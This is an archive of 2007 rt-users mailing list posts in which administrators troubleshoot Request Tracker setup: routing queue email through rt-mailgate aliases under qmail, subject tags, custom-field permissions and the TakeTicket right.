>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
> 
> 



From thrall.mail.list at gmail.com  Fri Feb 23 06:14:51 2007
From: thrall.mail.list at gmail.com (Nadeem Shahbaz)
Date: Fri, 23 Feb 2007 16:14:51 +0500
Subject: [rt-users] No recipients found. Not sending.
In-Reply-To: <45DE6356.6090308@lbl.gov>
References: <C0A5E31718FC064A91E9FD7BE2F081B1AB8957@exchange.gridapp.com>
	<45DE6356.6090308@lbl.gov>
Message-ID: <c405341b0702230314i6aa1988dl2d7d41fcd90c99e3@mail.gmail.com>

On 2/23/07, Kenneth Crocker <KFCrocker at lbl.gov> wrote:
>
>        3b will only happen if you have a scrip that "On Correspond" will
> "Notify Requestor" with the template you pick (probably Global template:
> Correspondence).

Also there is a directive, NotifyActor, in
<prefix>/etc/RT_SiteConfig.pm. By setting it 1 will do 3b. As I just
enabled it and didn't do any changes in scrips.


From diablo at iasi.roedu.net  Fri Feb 23 06:47:07 2007
From: diablo at iasi.roedu.net (Subredu Manuel)
Date: Fri, 23 Feb 2007 13:47:07 +0200
Subject: [rt-users] localizing $RT::rtname
Message-ID: <45DED43B.5000106@iasi.roedu.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

we have a more 'special' need. We want for a given queue for change the
Subject from "[$RT::rtname # id] subject" into "[US # id] subject" .
 Does anybody knows a safe way to accomplish this ? $RT::rtname is used
all over the code and I'm a little afraid to modify it without prior asking
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFF3tQ7jGXbUSvc3AsRAjUaAJkBGsAXqvC053Y7BzNMcbyoqG4utACeNMBR
PLuLgj55hPjWGnzraSAo1bk=
=p3id
-----END PGP SIGNATURE-----


From cbsilva at student.dei.uc.pt  Fri Feb 23 07:41:02 2007
From: cbsilva at student.dei.uc.pt (Carlos Silva)
Date: Fri, 23 Feb 2007 12:41:02 -0000
Subject: [rt-users] Email problems - Association with Queue
In-Reply-To: <s5dd6b20.034@gw1.adphila.org>
References: <s5dd6b20.034@gw1.adphila.org>
Message-ID: <083101c75747$e0d15c20$835aa8c0@lenaindustria.glena>

Yes, I created the alias on /etc/aliases, like in the instructions:

---------------------------------
rt: "|/etc/smrsh/rt-mailgate --queue general --action correspond --url
http://rt.mydomain.com/"
rt-comment: "|/etc/smrsh/rt-mailgate --queue general --action comment --url
http://rt.mydomain.com/"

--------------------------------------

I don't have any newaliases command... and I'm using Qmail. 

But, when I send an email to general at rt.mydomain.com, I get the following
email back...

Hi. This is the qmail-send program at calisto.lenaindustria.pt.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<general at rt.mydomain.com>:
Sorry, no mailbox here by that name. (#5.1.1)

-----------------------------------------

What do you think?
It looks like it's ignoring the /etc/aliases... qmail uses it from another
way?  Maybe /var/qmail/alias/ ?? But the files there have different syntax
from /etc/aliases...

Hints?

I'm thinking on removing qmail and installing the old sendmail... :( has I
only use smtp on this server for RT.

Regards,
Carlos Silva



-----Mensagem original-----
De: John BORIS [mailto:jboris at adphila.org] 
Enviada: quinta-feira, 22 de Fevereiro de 2007 15:06
Para: rt-users at lists.bestpractical.com; Carlos Silva
Assunto: RE: [rt-users] Email problems - Association with Queue

Carlos,
You have to create the alias on the server in the mail aliases file.
Look up the man page for aliases for your flavor of UNIX and make those
changes. On Red hat it is in /etc/aliases. Then when you are finished
you have to run newaliases for it to take effect. I believe this is
spelled out in the rt-mailgate instructions.

John J. Boris, Sr.
JEN-A-SyS Administrator
Archdiocese of Philadelphia

"Remember! That light at the end of the tunnel
Just might be the headlight of an oncoming train!"

>>> "Carlos Silva" <cbsilva at student.dei.uc.pt> 02/22/07 9:35 AM >>>
Yes, I can. But there is a think that I'm still missing... 

Let's suppose I create, via the web interface, a Queue named Queue1.

>From that moment, without any other config,  It's supposed for me to
receive
in rt the emails sent to queue1 at rt.mydomain.com ???

It's not happening... 

Regards,
Carlos Silva





-----Mensagem original-----
De: Jan Korbel [mailto:jackc at teptin.net] 
Enviada: quinta-feira, 22 de Fevereiro de 2007 13:56
Para: Carlos Silva
Cc: rt-users at lists.bestpractical.com 
Assunto: Re: [rt-users] Email problems - Association with Queue

You can create an email alias on mail server with destination address 
helpdesk at rt.mydomain.com or whatever you can.

J.

Carlos Silva wrote:
> 
> 
> Hi, I've followed the Wiki RHEL installguide,
> 
>  
> 
> http://wiki.bestpractical.com/index.cgi?RHEL4InstallGuide 
> 
>  
> 
> But. there is one thing I want to do and don't understand how!
> 
>  
> 
> I have a server that's rt.mydomain.com, and other that is 
> mail.mydomain.com, that is the mail server of my domain.
> 
>  
> 
> I want that mail that is sent to helpdesk at mydomain.com 
> <mailto:helpdesk at mydomain.com> in server mail.mydomain.com to be
linked 
> to the Helpdesk queue in rt.mydomain.com.
> 
>  
> 
> How do I configure this? It seems very simple, but yet, I don't know
how 
> to do it in RT ...
> 
>  
> 
> Best Regards,
> 
> Carlos Bruno
> 
>  
> 
>  
> 
>  
> 
> 
>
------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users 
> 
> Community help: http://wiki.bestpractical.com 
> Commercial support: sales at bestpractical.com 
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.

> Buy a copy at http://rtbook.bestpractical.com 
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From marouane.himdi at kereval.com  Fri Feb 23 08:15:13 2007
From: marouane.himdi at kereval.com (Marouane HIMDI)
Date: Fri, 23 Feb 2007 14:15:13 +0100
Subject: [rt-users] Email problems - Association with Queue
In-Reply-To: <083101c75747$e0d15c20$835aa8c0@lenaindustria.glena>
References: <s5dd6b20.034@gw1.adphila.org>
	<083101c75747$e0d15c20$835aa8c0@lenaindustria.glena>
Message-ID: <45DEE8E1.2040703@kereval.com>

Normal behaviour :)
According to your /etc/aliases  config, the e-mail associated to your 
'general' queue is *rt at rt.mydomain.com*

Best regards

Marouane HIMDI




Carlos Silva a ?crit :
> Yes, I created the alias on /etc/aliases, like in the instructions:
>
> ---------------------------------
> rt: "|/etc/smrsh/rt-mailgate --queue general --action correspond --url
> http://rt.mydomain.com/"
> rt-comment: "|/etc/smrsh/rt-mailgate --queue general --action comment --url
> http://rt.mydomain.com/"
>
> --------------------------------------
>
> I don't have any newaliases command... and I'm using Qmail. 
>
> But, when I send an email to general at rt.mydomain.com, I get the following
> email back...
>
> Hi. This is the qmail-send program at calisto.lenaindustria.pt.
> I'm afraid I wasn't able to deliver your message to the following addresses.
> This is a permanent error; I've given up. Sorry it didn't work out.
>
> <general at rt.mydomain.com>:
> Sorry, no mailbox here by that name. (#5.1.1)
>
> -----------------------------------------
>
> What do you think?
> It looks like it's ignoring the /etc/aliases... qmail uses it from another
> way?  Maybe /var/qmail/alias/ ?? But the files there have different syntax
> from /etc/aliases...
>
> Hints?
>
> I'm thinking on removing qmail and installing the old sendmail... :( has I
> only use smtp on this server for RT.
>
> Regards,
> Carlos Silva
>
>
>
> -----Mensagem original-----
> De: John BORIS [mailto:jboris at adphila.org] 
> Enviada: quinta-feira, 22 de Fevereiro de 2007 15:06
> Para: rt-users at lists.bestpractical.com; Carlos Silva
> Assunto: RE: [rt-users] Email problems - Association with Queue
>
> Carlos,
> You have to create the alias on the server in the mail aliases file.
> Look up the man page for aliases for your flavor of UNIX and make those
> changes. On Red hat it is in /etc/aliases. Then when you are finished
> you have to run newaliases for it to take effect. I believe this is
> spelled out in the rt-mailgate instructions.
>
> John J. Boris, Sr.
> JEN-A-SyS Administrator
> Archdiocese of Philadelphia
>
> "Remember! That light at the end of the tunnel
> Just might be the headlight of an oncoming train!"
>
>   
>>>> "Carlos Silva" <cbsilva at student.dei.uc.pt> 02/22/07 9:35 AM >>>
>>>>         
> Yes, I can. But there is a think that I'm still missing... 
>
> Let's suppose I create, via the web interface, a Queue named Queue1.
>
> >From that moment, without any other config,  It's supposed for me to
> receive
> in rt the emails sent to queue1 at rt.mydomain.com ???
>
> It's not happening... 
>
> Regards,
> Carlos Silva
>
>
>
>
>
> -----Mensagem original-----
> De: Jan Korbel [mailto:jackc at teptin.net] 
> Enviada: quinta-feira, 22 de Fevereiro de 2007 13:56
> Para: Carlos Silva
> Cc: rt-users at lists.bestpractical.com 
> Assunto: Re: [rt-users] Email problems - Association with Queue
>
> You can create an email alias on mail server with destination address 
> helpdesk at rt.mydomain.com or whatever you can.
>
> J.
>
> Carlos Silva wrote:
>   
>> Hi, I've followed the Wiki RHEL installguide,
>>
>>  
>>
>> http://wiki.bestpractical.com/index.cgi?RHEL4InstallGuide 
>>
>>  
>>
>> But. there is one thing I want to do and don't understand how!
>>
>>  
>>
>> I have a server that's rt.mydomain.com, and other that is 
>> mail.mydomain.com, that is the mail server of my domain.
>>
>>  
>>
>> I want that mail that is sent to helpdesk at mydomain.com 
>> <mailto:helpdesk at mydomain.com> in server mail.mydomain.com to be
>>     
> linked 
>   
>> to the Helpdesk queue in rt.mydomain.com.
>>
>>  
>>
>> How do I configure this? It seems very simple, but yet, I don't know
>>     
> how 
>   
>> to do it in RT ...
>>
>>  
>>
>> Best Regards,
>>
>> Carlos Bruno
>>
>>  
>>
>>  
>>
>>  
>>
>>
>>
>>     
> ------------------------------------------------------------------------
>   
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users 
>>
>> Community help: http://wiki.bestpractical.com 
>> Commercial support: sales at bestpractical.com 
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>>     
>
>   
>> Buy a copy at http://rtbook.bestpractical.com 
>>     
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com


From marouane.himdi at kereval.com  Fri Feb 23 08:19:06 2007
From: marouane.himdi at kereval.com (Marouane HIMDI)
Date: Fri, 23 Feb 2007 14:19:06 +0100
Subject: [rt-users] Email problems - Association with Queue
In-Reply-To: <083101c75747$e0d15c20$835aa8c0@lenaindustria.glena>
References: <s5dd6b20.034@gw1.adphila.org>
	<083101c75747$e0d15c20$835aa8c0@lenaindustria.glena>
Message-ID: <45DEE9CA.3010407@kereval.com>

to set general at rt.mydomain.comyour  as your email front-end for your 
'general' queue, your /etc/aliases file should be as below

general: "|/etc/smrsh/rt-mailgate --queue general --action correspond --url
http://rt.mydomain.com/"
general-comment: "|/etc/smrsh/rt-mailgate --queue general --action comment --url
http://rt.mydomain.com/"



/etc/aliases


Carlos Silva a ?crit :
> Yes, I created the alias on /etc/aliases, like in the instructions:
>
> ---------------------------------
> rt: "|/etc/smrsh/rt-mailgate --queue general --action correspond --url
> http://rt.mydomain.com/"
> rt-comment: "|/etc/smrsh/rt-mailgate --queue general --action comment --url
> http://rt.mydomain.com/"
>
> --------------------------------------
>
> I don't have any newaliases command... and I'm using Qmail. 
>
> But, when I send an email to general at rt.mydomain.com, I get the following
> email back...
>
> Hi. This is the qmail-send program at calisto.lenaindustria.pt.
> I'm afraid I wasn't able to deliver your message to the following addresses.
> This is a permanent error; I've given up. Sorry it didn't work out.
>
> <general at rt.mydomain.com>:
> Sorry, no mailbox here by that name. (#5.1.1)
>
> -----------------------------------------
>
> What do you think?
> It looks like it's ignoring the /etc/aliases... qmail uses it from another
> way?  Maybe /var/qmail/alias/ ?? But the files there have different syntax
> from /etc/aliases...
>
> Hints?
>
> I'm thinking on removing qmail and installing the old sendmail... :( has I
> only use smtp on this server for RT.
>
> Regards,
> Carlos Silva
>
>
>
> -----Mensagem original-----
> De: John BORIS [mailto:jboris at adphila.org] 
> Enviada: quinta-feira, 22 de Fevereiro de 2007 15:06
> Para: rt-users at lists.bestpractical.com; Carlos Silva
> Assunto: RE: [rt-users] Email problems - Association with Queue
>
> Carlos,
> You have to create the alias on the server in the mail aliases file.
> Look up the man page for aliases for your flavor of UNIX and make those
> changes. On Red hat it is in /etc/aliases. Then when you are finished
> you have to run newaliases for it to take effect. I believe this is
> spelled out in the rt-mailgate instructions.
>
> John J. Boris, Sr.
> JEN-A-SyS Administrator
> Archdiocese of Philadelphia
>
> "Remember! That light at the end of the tunnel
> Just might be the headlight of an oncoming train!"
>
>   
>>>> "Carlos Silva" <cbsilva at student.dei.uc.pt> 02/22/07 9:35 AM >>>
>>>>         
> Yes, I can. But there is a think that I'm still missing... 
>
> Let's suppose I create, via the web interface, a Queue named Queue1.
>
> >From that moment, without any other config,  It's supposed for me to
> receive
> in rt the emails sent to queue1 at rt.mydomain.com ???
>
> It's not happening... 
>
> Regards,
> Carlos Silva
>
>
>
>
>
> -----Mensagem original-----
> De: Jan Korbel [mailto:jackc at teptin.net] 
> Enviada: quinta-feira, 22 de Fevereiro de 2007 13:56
> Para: Carlos Silva
> Cc: rt-users at lists.bestpractical.com 
> Assunto: Re: [rt-users] Email problems - Association with Queue
>
> You can create an email alias on mail server with destination address 
> helpdesk at rt.mydomain.com or whatever you can.
>
> J.
>
> Carlos Silva wrote:
>   
>> Hi, I've followed the Wiki RHEL installguide,
>>
>>  
>>
>> http://wiki.bestpractical.com/index.cgi?RHEL4InstallGuide 
>>
>>  
>>
>> But. there is one thing I want to do and don't understand how!
>>
>>  
>>
>> I have a server that's rt.mydomain.com, and other that is 
>> mail.mydomain.com, that is the mail server of my domain.
>>
>>  
>>
>> I want that mail that is sent to helpdesk at mydomain.com 
>> <mailto:helpdesk at mydomain.com> in server mail.mydomain.com to be
>>     
> linked 
>   
>> to the Helpdesk queue in rt.mydomain.com.
>>
>>  
>>
>> How do I configure this? It seems very simple, but yet, I don't know
>>     
> how 
>   
>> to do it in RT ...
>>
>>  
>>
>> Best Regards,
>>
>> Carlos Bruno
>>
>>  
>>
>>  
>>
>>  
>>
>>
>>
>>     
> ------------------------------------------------------------------------
>   
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users 
>>
>> Community help: http://wiki.bestpractical.com 
>> Commercial support: sales at bestpractical.com 
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>>     
>
>   
>> Buy a copy at http://rtbook.bestpractical.com 
>>     
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com


From maier at idowa.de  Fri Feb 23 09:10:33 2007
From: maier at idowa.de (Stefan Maier)
Date: Fri, 23 Feb 2007 15:10:33 +0100
Subject: [rt-users] AdminCustomField right
Message-ID: <45DEF5D9.6070307@idowa.de>

Hi,

I'm trying to create a custom field for one of my queues. I used a 
dropdown box for this and i want one group to be able to change the 
options available for this field. I thought that giving this group the 
AdminCustomField, ModifyCustomField and SeeCustomField properties would 
be sufficient, but it doesn't seem to work that way as i can't see an 
option to modify the options once i'm logged in as a user of said group. 
How do i solve this problem?

Thanks in advance,

Mit freundlichen Gr?ssen

Stefan Maier

==========================================================
Straubinger Tagblatt              
EDV-Abteilung Straubing           FON:   +49 9421 940 256
Ludwigsplatz 30                   FAX:   +49 9421 940 6236
D-94315 Straubing                 
http://www.idowa.de               Email: maier at idowa.de
==========================================================
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       Cl. Attenkofer'sche Buch- und Kunstdruckerei
             Verlagsbuchhandlung Straubing KG
     Registergericht: Amtsgericht Straubing, HRA 1118
==========================================================


From cbsilva at student.dei.uc.pt  Fri Feb 23 09:45:56 2007
From: cbsilva at student.dei.uc.pt (Carlos Silva)
Date: Fri, 23 Feb 2007 14:45:56 -0000
Subject: [rt-users] Email problems - Association with Queue
In-Reply-To: <45DEE9CA.3010407@kereval.com>
References: <s5dd6b20.034@gw1.adphila.org>
	<083101c75747$e0d15c20$835aa8c0@lenaindustria.glena>
	<45DEE9CA.3010407@kereval.com>
Message-ID: <088901c75759$54a65040$835aa8c0@lenaindustria.glena>

LOL... I remembered that while having lunch... just arrived now, going to try that. Sometimes when you follow the tutorials you stay so blind you just don't see the things, just copy-paste.

I'll try that! ;) Thks.

Regards,
Carlos Silva

-----Mensagem original-----
De: Marouane HIMDI [mailto:marouane.himdi at kereval.com] 
Enviada: sexta-feira, 23 de Fevereiro de 2007 13:19
Para: Carlos Silva
Cc: rt-users at lists.bestpractical.com
Assunto: Re: [rt-users] Email problems - Association with Queue

to set general at rt.mydomain.comyour  as your email front-end for your 
'general' queue, your /etc/aliases file should be as below

general: "|/etc/smrsh/rt-mailgate --queue general --action correspond --url
http://rt.mydomain.com/"
general-comment: "|/etc/smrsh/rt-mailgate --queue general --action comment --url
http://rt.mydomain.com/"



/etc/aliases


Carlos Silva a ?crit :
> Yes, I created the alias on /etc/aliases, like in the instructions:
>
> ---------------------------------
> rt: "|/etc/smrsh/rt-mailgate --queue general --action correspond --url
> http://rt.mydomain.com/"
> rt-comment: "|/etc/smrsh/rt-mailgate --queue general --action comment --url
> http://rt.mydomain.com/"
>
> --------------------------------------
>
> I don't have any newaliases command... and I'm using Qmail. 
>
> But, when I send an email to general at rt.mydomain.com, I get the following
> email back...
>
> Hi. This is the qmail-send program at calisto.lenaindustria.pt.
> I'm afraid I wasn't able to deliver your message to the following addresses.
> This is a permanent error; I've given up. Sorry it didn't work out.
>
> <general at rt.mydomain.com>:
> Sorry, no mailbox here by that name. (#5.1.1)
>
> -----------------------------------------
>
> What do you think?
> It looks like it's ignoring the /etc/aliases... qmail uses it from another
> way?  Maybe /var/qmail/alias/ ?? But the files there have different syntax
> from /etc/aliases...
>
> Hints?
>
> I'm thinking on removing qmail and installing the old sendmail... :( has I
> only use smtp on this server for RT.
>
> Regards,
> Carlos Silva
>
>
>
> -----Mensagem original-----
> De: John BORIS [mailto:jboris at adphila.org] 
> Enviada: quinta-feira, 22 de Fevereiro de 2007 15:06
> Para: rt-users at lists.bestpractical.com; Carlos Silva
> Assunto: RE: [rt-users] Email problems - Association with Queue
>
> Carlos,
> You have to create the alias on the server in the mail aliases file.
> Look up the man page for aliases for your flavor of UNIX and make those
> changes. On Red hat it is in /etc/aliases. Then when you are finished
> you have to run newaliases for it to take effect. I believe this is
> spelled out in the rt-mailgate instructions.
>
> John J. Boris, Sr.
> JEN-A-SyS Administrator
> Archdiocese of Philadelphia
>
> "Remember! That light at the end of the tunnel
> Just might be the headlight of an oncoming train!"
>
>   
>>>> "Carlos Silva" <cbsilva at student.dei.uc.pt> 02/22/07 9:35 AM >>>
>>>>         
> Yes, I can. But there is a think that I'm still missing... 
>
> Let's suppose I create, via the web interface, a Queue named Queue1.
>
> >From that moment, without any other config,  It's supposed for me to
> receive
> in rt the emails sent to queue1 at rt.mydomain.com ???
>
> It's not happening... 
>
> Regards,
> Carlos Silva
>
>
>
>
>
> -----Mensagem original-----
> De: Jan Korbel [mailto:jackc at teptin.net] 
> Enviada: quinta-feira, 22 de Fevereiro de 2007 13:56
> Para: Carlos Silva
> Cc: rt-users at lists.bestpractical.com 
> Assunto: Re: [rt-users] Email problems - Association with Queue
>
> You can create an email alias on mail server with destination address 
> helpdesk at rt.mydomain.com or whatever you can.
>
> J.
>
> Carlos Silva wrote:
>   
>> Hi, I've followed the Wiki RHEL installguide,
>>
>>  
>>
>> http://wiki.bestpractical.com/index.cgi?RHEL4InstallGuide 
>>
>>  
>>
>> But. there is one thing I want to do and don't understand how!
>>
>>  
>>
>> I have a server that's rt.mydomain.com, and other that is 
>> mail.mydomain.com, that is the mail server of my domain.
>>
>>  
>>
>> I want that mail that is sent to helpdesk at mydomain.com 
>> <mailto:helpdesk at mydomain.com> in server mail.mydomain.com to be
>>     
> linked 
>   
>> to the Helpdesk queue in rt.mydomain.com.
>>
>>  
>>
>> How do I configure this? It seems very simple, but yet, I don't know
>>     
> how 
>   
>> to do it in RT ...
>>
>>  
>>
>> Best Regards,
>>
>> Carlos Bruno
>>
>>  
>>
>>  
>>
>>  
>>
>>
>>
>>     
> ------------------------------------------------------------------------
>   
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users 
>>
>> Community help: http://wiki.bestpractical.com 
>> Commercial support: sales at bestpractical.com 
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>>     
>
>   
>> Buy a copy at http://rtbook.bestpractical.com 
>>     
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
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From yen-nhi.vo at ericsson.com  Fri Feb 23 10:12:20 2007
From: yen-nhi.vo at ericsson.com (Yen-Nhi Vo (QA/EMC))
Date: Fri, 23 Feb 2007 10:12:20 -0500
Subject: [rt-users] Right "TakeTicket" does not work
In-Reply-To: <a3a53f9f0702221800p5ba7a863nd5fa347e0339e1f3@mail.gmail.com>
Message-ID: <D373F8710ACBA6419BF0B7A5177691CC020EB282@ecamlmw720.eamcs.ericsson.se>

Hi,
 
I have the following group rights for a queue without the "TakeTicket" right, but somehow the user still has permission to take tickets under that queue.
 
CommentOnTicket
CreateTicket
DeleteTicket
ModifyQueueWatchers
ModifyTicket
OwnTicket
ReplyToTicket
SeeQueue
ShowTemplate
ShowTicket
ShowTicketComments
Watch
 
Is it a know bug or a misconfiguration?
 
Can someone help?
 
Thanks,
Yen-Nhi
-------------- next part --------------
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From jesse at bestpractical.com  Fri Feb 23 10:57:28 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Fri, 23 Feb 2007 10:57:28 -0500
Subject: [rt-users] localizing $RT::rtname
In-Reply-To: <45DED43B.5000106@iasi.roedu.net>
References: <45DED43B.5000106@iasi.roedu.net>
Message-ID: <20070223155728.GF25008@bestpractical.com>




On Fri, Feb 23, 2007 at 01:47:07PM +0200, Subredu Manuel wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Hi,
> 
> we have a more 'special' need. We want for a given queue for change the
> Subject from "[$RT::rtname # id] subject" into "[US # id] subject" .
>  Does anybody knows a safe way to accomplish this ? $RT::rtname is used
> all over the code and I'm a little afraid to modify it without prior asking

http://search.cpan.org/~jesse/RT-Extension-BrandedQueues-0.1/

> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.6 (GNU/Linux)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
> 
> iD8DBQFF3tQ7jGXbUSvc3AsRAjUaAJkBGsAXqvC053Y7BzNMcbyoqG4utACeNMBR
> PLuLgj55hPjWGnzraSAo1bk=
> =p3id
> -----END PGP SIGNATURE-----
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 

-- 


From jesse at bestpractical.com  Fri Feb 23 11:00:15 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Fri, 23 Feb 2007 11:00:15 -0500
Subject: [rt-users] Right "TakeTicket" does not work
In-Reply-To: <D373F8710ACBA6419BF0B7A5177691CC020EB282@ecamlmw720.eamcs.ericsson.se>
References: <a3a53f9f0702221800p5ba7a863nd5fa347e0339e1f3@mail.gmail.com>
	<D373F8710ACBA6419BF0B7A5177691CC020EB282@ecamlmw720.eamcs.ericsson.se>
Message-ID: <20070223160015.GG25008@bestpractical.com>




On Fri, Feb 23, 2007 at 10:12:20AM -0500, Yen-Nhi Vo (QA/EMC) wrote:
> Hi,
>  
> I have the following group rights for a queue without the "TakeTicket" right, but somehow the user still has permission to take tickets under that queue.
  
> ModifyTicket
>  
> Is it a know bug or a misconfiguration?


ModifyTicket grants TakeTicket implicitly.

>  
> Can someone help?
>  
> Thanks,
> Yen-Nhi

> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com

-- 


From yen-nhi.vo at ericsson.com  Fri Feb 23 11:04:47 2007
From: yen-nhi.vo at ericsson.com (Yen-Nhi Vo (QA/EMC))
Date: Fri, 23 Feb 2007 11:04:47 -0500
Subject: [rt-users] Right "TakeTicket" does not work
In-Reply-To: <20070223160015.GG25008@bestpractical.com>
Message-ID: <D373F8710ACBA6419BF0B7A5177691CC020EB288@ecamlmw720.eamcs.ericsson.se>

Hi Jesse,

Thank You for your answer.

I would like the user to not have permission to take tickets but to be assigned tickets to work on.

Do you know what permissions I should grant then?

Thanks,
Yen-Nhi

-----Original Message-----
From: Jesse Vincent [mailto:jesse at bestpractical.com]
Sent: Friday, February 23, 2007 11:00
To: Yen-Nhi Vo (QA/EMC)
Cc: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] Right "TakeTicket" does not work





On Fri, Feb 23, 2007 at 10:12:20AM -0500, Yen-Nhi Vo (QA/EMC) wrote:
> Hi,
>  
> I have the following group rights for a queue without the "TakeTicket" right, but somehow the user still has permission to take tickets under that queue.
  
> ModifyTicket
>  
> Is it a know bug or a misconfiguration?


ModifyTicket grants TakeTicket implicitly.

>  
> Can someone help?
>  
> Thanks,
> Yen-Nhi

> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com

-- 


From cbsilva at student.dei.uc.pt  Fri Feb 23 10:31:37 2007
From: cbsilva at student.dei.uc.pt (Carlos Silva)
Date: Fri, 23 Feb 2007 15:31:37 -0000
Subject: [rt-users] Email problems - Association with Queue
In-Reply-To: <088901c75759$54a65040$835aa8c0@lenaindustria.glena>
References: <s5dd6b20.034@gw1.adphila.org><083101c75747$e0d15c20$835aa8c0@lenaindustria.glena><45DEE9CA.3010407@kereval.com>
	<088901c75759$54a65040$835aa8c0@lenaindustria.glena>
Message-ID: <08ea01c7575f$b5625ae0$835aa8c0@lenaindustria.glena>

Has I suspected, the aliases on Qmail were also different...

Meanwhile, while investingating how to configure in /var/qmail/alias, found
this page:

http://wiki.bestpractical.com/index.cgi?Qmail

And... it's working!!! 
Let's see how it runs!!! :D

Thks for the help,
Best Regards,
Carlos Silva

-----Mensagem original-----
De: rt-users-bounces at lists.bestpractical.com
[mailto:rt-users-bounces at lists.bestpractical.com] Em nome de Carlos Silva
Enviada: sexta-feira, 23 de Fevereiro de 2007 14:46
Para: rt-users at lists.bestpractical.com
Assunto: RE: [rt-users] Email problems - Association with Queue

LOL... I remembered that while having lunch... just arrived now, going to
try that. Sometimes when you follow the tutorials you stay so blind you just
don't see the things, just copy-paste.

I'll try that! ;) Thks.

Regards,
Carlos Silva

-----Mensagem original-----
De: Marouane HIMDI [mailto:marouane.himdi at kereval.com] 
Enviada: sexta-feira, 23 de Fevereiro de 2007 13:19
Para: Carlos Silva
Cc: rt-users at lists.bestpractical.com
Assunto: Re: [rt-users] Email problems - Association with Queue

to set general at rt.mydomain.comyour  as your email front-end for your 
'general' queue, your /etc/aliases file should be as below

general: "|/etc/smrsh/rt-mailgate --queue general --action correspond --url
http://rt.mydomain.com/"
general-comment: "|/etc/smrsh/rt-mailgate --queue general --action comment
--url
http://rt.mydomain.com/"



/etc/aliases


Carlos Silva a ?crit :
> Yes, I created the alias on /etc/aliases, like in the instructions:
>
> ---------------------------------
> rt: "|/etc/smrsh/rt-mailgate --queue general --action correspond --url
> http://rt.mydomain.com/"
> rt-comment: "|/etc/smrsh/rt-mailgate --queue general --action comment
--url
> http://rt.mydomain.com/"
>
> --------------------------------------
>
> I don't have any newaliases command... and I'm using Qmail. 
>
> But, when I send an email to general at rt.mydomain.com, I get the following
> email back...
>
> Hi. This is the qmail-send program at calisto.lenaindustria.pt.
> I'm afraid I wasn't able to deliver your message to the following
addresses.
> This is a permanent error; I've given up. Sorry it didn't work out.
>
> <general at rt.mydomain.com>:
> Sorry, no mailbox here by that name. (#5.1.1)
>
> -----------------------------------------
>
> What do you think?
> It looks like it's ignoring the /etc/aliases... qmail uses it from another
> way?  Maybe /var/qmail/alias/ ?? But the files there have different syntax
> from /etc/aliases...
>
> Hints?
>
> I'm thinking on removing qmail and installing the old sendmail... :( has I
> only use smtp on this server for RT.
>
> Regards,
> Carlos Silva
>
>
>
> -----Mensagem original-----
> De: John BORIS [mailto:jboris at adphila.org] 
> Enviada: quinta-feira, 22 de Fevereiro de 2007 15:06
> Para: rt-users at lists.bestpractical.com; Carlos Silva
> Assunto: RE: [rt-users] Email problems - Association with Queue
>
> Carlos,
> You have to create the alias on the server in the mail aliases file.
> Look up the man page for aliases for your flavor of UNIX and make those
> changes. On Red hat it is in /etc/aliases. Then when you are finished
> you have to run newaliases for it to take effect. I believe this is
> spelled out in the rt-mailgate instructions.
>
> John J. Boris, Sr.
> JEN-A-SyS Administrator
> Archdiocese of Philadelphia
>
